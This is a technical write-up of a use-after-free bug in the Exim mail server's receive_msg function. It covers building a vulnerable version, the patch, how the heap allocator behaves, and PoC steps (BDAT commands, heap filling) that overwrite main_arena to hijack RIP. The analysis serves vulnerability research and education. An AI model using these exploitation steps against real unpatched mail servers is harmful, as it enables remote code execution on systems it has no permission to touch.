
git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
Modify the path variables and username in the Makefile
cd ..
make -j8
sudo make install
After installation, change accept hosts = : in the configure file to accept hosts = *
Run:
exim -bdf -d-receive
This vulnerability is a UAF. It occurs in the receive_msg function in receive.c, which is used to receive input from the client. View the patch record:
src/src/receive.c | 7 ++++---
1 file changed, 4 insertions(+), 3 deletions(-)
diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
(and sometimes lunatic messages can have ones that are 100s of K long) we
call store_release() for strings that have been copied - if the string is at
the start of a block (and therefore the only thing in it, because we aren't
- doing any other gets), the block gets freed. We can only do this because we
- know there are no other calls to store_get() going on. */
+ doing any other gets), the block gets freed. We can only do this release if
+ there were no allocations since the once that we want to free. */
if (ptr >= header_size - 4)
{
@@ -1820,9 +1820,10 @@ for (;;)
header_size *= 2;
if (!store_extend(next->text, oldsize, header_size))
{
+ BOOL release_ok = store_last_get[store_pool] == next->text;
uschar *newtext = store_get(header_size);
memcpy(newtext, next->text, ptr);
- store_release(next->text);
+ if (release_ok) store_release(next->text);
next->text = newtext;
}
}
First, clarify the roles of several global variables:
current_block: The current storeblock. When store_get_3 is called next time, it first looks for free space in this storeblock.
next_yield: Points to the start address of the free area in current_block. Generally, the upper part of a storeblock is used and the lower part is free.
yield_length: The length of next_yield.
By analyzing meh's PoC, it is known that the unpatched program can trigger UAF through the following heap layout process:
First, in the receive_msg function, make next->text the starting buffer of a storeblock:

Then, allocate a buffer below this text using the BDAT command.
Why use the BDAT command?
In fact, both auth plain and illegal commands composed of invisible characters can allocate a buffer below text. However, other commands will cause receive_msg to exit. Upon re-entering receive_msg, next->text will point to another area, so the vulnerability cannot be triggered. The BDAT command does not cause the current receive_msg function to exit, which is very important.

Then, continuously send characters to fill next_text (initially 0x100), and the program will reach the vulnerability point.
During store_extend, it is found that extension is impossible due to the presence of the BDAT buffer, so store_get is executed to obtain the area pointed to by next_yield, and then store_release is called.
In this function, it only checks whether the parameter to be released is at the start of a storeblock, but does not check whether there are other buffers behind it. It directly frees the storeblock.
This causes the address returned by store_get to still be inside current_block, but then current_block is immediately freed, resulting in UAF.
Here, we explain step by step how to hijack RIP using the PoC code.
ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')
First, send a bunch of data to make yield_length less than 0x130 but greater than 0x30.
Why is this necessary? Let's look at the beginning of the receive_msg function:
...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705:
1706: /* Control block for the next header to be read. */
1707:
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...
It can be seen that before allocating next->text, two buffers of size sizeof(header_line) (0x18) are allocated.
So, if after allocating these two 0x18-sized blocks, the remaining yield_length is less than 0x100, then when allocating next->text, store_get will allocate a new storeblock, and next->text will be at the start of that storeblock.
Then we invoke the BDAT command.
r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')
This command contains an invisible character, which triggers store_get to allocate a buffer to store an error message:
pwndbg> hexdump 0x71d0e0
+0000 0x71d0e0 42 44 41 54 20 5c 33 33 35 00 20 63 68 75 6e 6b │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0 35 30 31 20 6d 69 73 73 69 6e 67 20 73 69 7a 65 │501.│miss│ing.│size│
+0020 0x71d100 20 66 6f 72 20 42 44 41 54 20 63 6f 6d 6d 61 6e │.for│.BDA│T.co│mman│
+0030 0x71d110 64 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │d...│....│....│....│
(Illegal commands containing invisible characters also result in additional heap allocation.)
Now, continuously send characters:
unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))
This will fill next->text byte by byte with the received characters. When the 0x100 free area is full, the vulnerable code path is triggered to expand next->text.
First, store_extend(next->text, oldsize, header_size) is called to try a direct extension:
File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268: int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272:
273: if (rounded_oldsize % alignment != 0)
274: rounded_oldsize += alignment - (rounded_oldsize % alignment);
275:
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277: inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278: return FALSE;
...
The main checks are at lines 276–277.
The first condition checks whether the pointer to be extended (ptr) is immediately followed by next_yield.
The second condition checks whether adding next_yield size (i.e., yield_length) is sufficient.
Obviously, the first condition is not met because next->text is followed by a BDAT buffer, and only after that is next_yield.
Then, store_get is called to obtain a new block, which is allocated at next_yield.
Next, store_release is called to free the original next_text. Note the logic here:
File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. */
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456: {
457: storeblock *bb = b->next;
458: if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459: {
...
482: free(bb);
483: return;
484: }
485: }
486: }
487:
The program traverses the storeblock chain from chainbase using the next pointer. If it finds that the freed block is at the start of a storeblock (second condition in line 458), that storeblock is freed.
But at this moment, current_block points to this heap block, and the new next_text is also inside this heap block, resulting in UAF.
After the heap block is freed, current_block is placed into the unsorted bin:
pwndbg> tel ¤t_block
00:0000│ 0x6e8ec0 (current_block) —▸ 0x71cfd0 —▸ 0x7ffff69abb78 (main_arena+88) —▸ 0x725020 ◂— 0x0
01:0008│ 0x6e8ec8 (current_block+8) —▸ 0x723010 ◂— 0x0
02:0010│ 0x6e8ed0 (current_block+16) ◂— 0x0
... ↓
04:0020│ 0x6e8ee0 (chainbase) —▸ 0x70ff80 ◂— 0x0
05:0028│ 0x6e8ee8 (chainbase+8) —▸ 0x6f3b30 —▸ 0x6f8cb0 —▸ 0x71eff0 —▸ 0x723010 ◂— ...
06:0030│ 0x6e8ef0 (chainbase+16) ◂— 0x0
... ↓
pwndbg>
At this point, main_arena is added to the storeblock chain.
As characters continue to be input, the original next->text repeatedly calls store_extend to expand its size. Although current_block has been freed, next_yield still points inside current_block, allowing next->text to keep extending via store_extend until the entire current_block is filled.
Finally, when extension is no longer possible, store_get is called again to obtain a new heap block:
File: store.c
128: void *
129: store_get_3(int size, const char *filename, int linenumber)
130: {
...
137: if (size % alignment != 0) size += alignment - (size % alignment);
138:
139: /* If there isn't room in the current block, get a new one. The minimum
140: size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
141: these functions are mostly called for small amounts of store. */
142:
143: if (size > yield_length[store_pool])
144: {
145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
146: int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
147: storeblock * newblock = NULL;
148:
149: /* Sometimes store_reset() may leave a block for us; check if we can use it */
150:
151: if ( (newblock = current_block[store_pool])
152: && (newblock = newblock->next)
153: && newblock->length < length
154: )
155: {
156: /* Give up on this block, because it's too small */
157: store_free(newblock);
158: newblock = NULL;
159: }
...
Lines 151–153 attempt to obtain current_block->next and check if that heap block is large enough to allocate. If not, it frees it.
Note that current_block is now in the unsorted bin, and current_block->next points to main_arena. The last condition will not be satisfied, so newblock becomes main_arena.
File: store.c
176: current_block[store_pool] = newblock;
177: yield_length[store_pool] = newblock->length;
178: next_yield[store_pool] =
179: (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
180: (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
181: }
...
186: store_last_get[store_pool] = next_yield[store_pool];
...
211: return store_last_get[store_pool];
At this point, the program directly treats main_arena as the new buffer to return. Then, at line 1824, the content from the old heap block is copied into the new one, thus overwriting main_arena.
File: receive.c
1816: if (ptr >= header_size - 4)
1817: {
1818: int oldsize = header_size;
1819: /* header_size += 256; */
1820: header_size *= 2;
1821: if (!store_extend(next->text, oldsize, header_size))
1822: {
1823: uschar *newtext = store_get(header_size);
1824: memcpy(newtext, next->text, ptr);
1825: store_release(next->text);
1826: next->text = newtext;
1827: }
1828: }
This overwrite directly overwrites free_got, so subsequent arbitrary operations can hijack RIP.